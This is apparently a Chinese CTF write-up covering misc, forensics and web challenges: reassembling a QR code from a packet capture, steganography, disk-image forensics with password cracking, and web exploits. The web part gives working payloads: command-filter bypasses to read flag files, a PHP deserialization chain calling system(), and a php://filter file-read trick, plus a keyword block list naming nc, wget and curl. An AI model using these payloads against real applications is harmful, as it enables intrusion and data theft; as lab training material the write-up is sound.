Misc 乱成一锅粥了 题目给了一个流量包,wireshark 打开,导出 HTTP 对象,可以看到有一些 zip,将它们导出来,每个压缩包里都有 50 个以 md5 命名的 txt 文件,里面是一些 base64 字符串
用 cmd5 解密这些文件名,发现都是 50 以内的数字,猜测是按照文件名顺序拼接 txt 里的内容,拼接之后发现解 base 是一张图片,写脚本批量提取这几个文件夹的内容拼接解 base64,即可得到九张二维码碎片,脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 import osimport hashlibimport base64def generate_md5_map (): """生成00-99对应的MD5映射表""" return {hashlib.md5(f"{i:02d} " .encode()).hexdigest(): f"{i:02d} " for i in range (100 )} def process_folder (folder_path, md5_map, output_dir ): """处理单个文件夹""" files = [f for f in os.listdir(folder_path) if f.endswith('.txt' )] content_map = {} for filename in files: md5_name = os.path.splitext(filename)[0 ] if md5_name in md5_map: num = md5_map[md5_name] try : with open (os.path.join(folder_path, filename), 'r' ) as f: content_map[num] = f.read().strip() except Exception as e: print (f"Error reading {filename} : {str (e)} " ) content_map[num] = f"[ERROR {num} ]" combined = "" for i in range (1 ,51 ): num = f"{i:02d} " combined += content_map.get(num, f"[MISSING {num} ]" ) + "\n" folder_name = os.path.basename(folder_path) output_path = os.path.join(output_dir, f"{folder_name} .png" ) try : with open (output_path, 'wb' ) as f: f.write(base64.b64decode(combined)) print (f"成功生成: {output_path} " ) except Exception as e: print (f"生成失败 {folder_name} : {str (e)} " ) def main (): root = input ("输入根目录路径: " ).strip('"' ) output = input ("输入输出目录路径: " ).strip('"' ) if not os.path.exists(output): os.makedirs(output) md5_map = generate_md5_map() for item in os.listdir(root): subfolder = os.path.join(root, item) if os.path.isdir(subfolder): print (f"\n正在处理: {item} " ) process_folder(subfolder, md5_map, output) print ("\n所有子文件夹处理完成!" ) if __name__ == "__main__" : main()
手动慢慢拼接,扫码即可得到 flag
星辉骑士 垃圾邮件隐写,御网杯刚刚做过,直接秒了,拿了一血。
后缀改 zip 解压,在 \word\media 目录有一个 flag.zip 文件,随波逐流改伪加密
打开文件,开头是 Dear Professional,很明显的垃圾邮件隐写特征,将 999.txt 里的内容使用网站 https://www.spammimic.com/decode.cgi 解密,即可得到 flag
芙宁娜的图片 图片用 stegslove 提取可以看到一个 key key:H&N2025
文本里的内容 Brainfuck 解密可以得到 O&NPTF{Y0u_yepognizeq_the_Couphu’s_psog.}
猜测是维吉尼亚解密,由于维吉尼亚密钥不能含有字符,使用 bugku 这个平台可以正常解密,或者可以把非字母全换成 a 也能成功解得 flag
Forensics ez_game 拿了一血,但是非预期了()
非预期解法:
使用 DiskGenius 挂载给定的 vhd 磁盘镜像,随便翻,翻到了一个压缩包,结构完整,直接恢复出来
还有一个 key.jpg 和 readme.txt,readme.txt 里有 flag 格式,要求全大写
有密码,纯数字没爆破出来,用 rockyou.txt 字典直接爆破出密码 ~!@#$%^&*()_+
解压,drawio 后缀的文件,直接导入网站 https://app.diagrams.net/ 即可得到 flag
预期解法:
卷一中有一个 hhhh 文件,卷二中有 key.jpg 和 readme.txt,readme.txt 内容如下
1 2 3 4 这次是个简单的取证小游戏 1.我藏了一个电脑,它的密码是很简单的弱密码,但是你找的到吗 2.图片没有隐写,但是它凭什么可以成为key,好难猜啊 3.如果你找的了flag,注意flag的内容全部大写
使用 VeraCrypt 挂载 hhhh 文件,然后根据提示,用 key.jpg 文件当密钥,成功挂载
用 R-Studio 挂载虚拟机文件,在 root 目录的 .bash_history 文件中查到历史命令这一段即为压缩包密码(按住 shift 依次输入 1234567890-=),然后就跟上面非预期步骤一样了
1 echo "key(shift):`1234567890-=" >> hhh.txt
Web Really_Ez_Rce 源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php header ('Content-Type: text/html; charset=utf-8' ); highlight_file (__FILE__ );error_reporting (0 );if (isset ($_REQUEST ['Number' ])) { $inputNumber = $_REQUEST ['Number' ]; if (preg_match ('/\d/' , $inputNumber )) { die ("不行不行,不能这样" ); } if (intval ($inputNumber )) { echo "OK,接下来你知道该怎么做吗" ; if (isset ($_POST ['cmd' ])) { $cmd = $_POST ['cmd' ]; if (!preg_match ( '/wget|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|tee|txt|grep|base|fd|df|\\\\|more|cc|tac|less|head|\.|\{|\}|uniq|copy|%|file|xxd|date|\[|\]|flag|bash|env|!|\?|ls|\'|\"|id/i' , $cmd )) { echo "你传的参数似乎挺正经的,放你过去吧<br>" ; system ($cmd ); } else { echo "nonono,hacker!!!" ; } } } }
第一层 intval 函数直接用数组绕过,第二层过滤了很多函数,用变量拼接绕过
先执行 ls / 看一下根目录文件,发现有一个 flag.txt,由于点被过滤了,不能直接 cat /flag.txt,这里利用 base64 来编码 flag.txt 再解码,即可得到 flag
1 2 Number[]=1&cmd=a=l;b=s;c=/;$a$b $c Number[]=1&cmd=a=c;b=at;c=bas;d=e64;$a$b $(echo L2ZsYWcudHh0 | $c$d -d)
ez_php 源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php error_reporting (0 ); class GOGOGO { public $dengchao ; function __destruct ( ) { echo "Go Go Go~ 出发喽!" . $this ->dengchao; } } class DouBao { public $dao ; public $Dagongren ; public $Bagongren ; function __toString ( ) { if ( ($this ->Dagongren != $this ->Bagongren) && (md5 ($this ->Dagongren) === md5 ($this ->Bagongren)) && (sha1 ($this ->Dagongren)=== sha1 ($this ->Bagongren)) ){ call_user_func_array ($this ->dao, ['诗人我吃!' ]); } } } class HeiCaFei { public $HongCaFei ; function __call ($name , $arguments ) { call_user_func_array ($this ->HongCaFei, [0 => $name ]); } } if (isset ($_POST ['data' ])) { $temp = unserialize ($_POST ['data' ]); throw new Exception ('What do you want to do?' ); } else { highlight_file (__FILE__ ); } ?>
很普通的反序列化链子,注意后面传参之后就抛出异常了,需要手动强制触发 __destruct 魔术方法
利用点在HeiCaFei类里的call_user_func_array()方法,可以自定义传入方法名和参数
调用链是 __destruct()->__toString()->__call(),使用数组绕过 md5 强比较
构造完链子后,利用构造数组再把第二个索引置空的方式强制触发 __destruct,执行命令,得到 flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class GOGOGO { public $dengchao ; } class DouBao { public $dao ; public $Dagongren = [1 ]; public $Bagongren = [2 ]; } class HeiCaFei { public $HongCaFei = "system" ; } $payload = new GOGOGO ();$payload ->dengchao = new DouBao ();$payload ->dengchao->dao = [new HeiCaFei (), 'cat /ofl1111111111ove4g' ];$exp = array ($payload ,0 );echo serialize ($exp );
DeceptiFlag 删掉前端的 display:none; 会显示出第二个输入框,第一个填 xiyangyang,第二个填 huitailang
跳转给了一个假 flag,cookie 中有一个可疑参数 pahint=L3Zhci9mbGFnL2ZsYWcudHh0,解码给出 flag 路径 /var/flag/flag.txt
直接用 php 伪协议读取,解码即可得到 flag
1 ?file=php://filter/convert.base64-encode/resource=/var/flag/flag.txt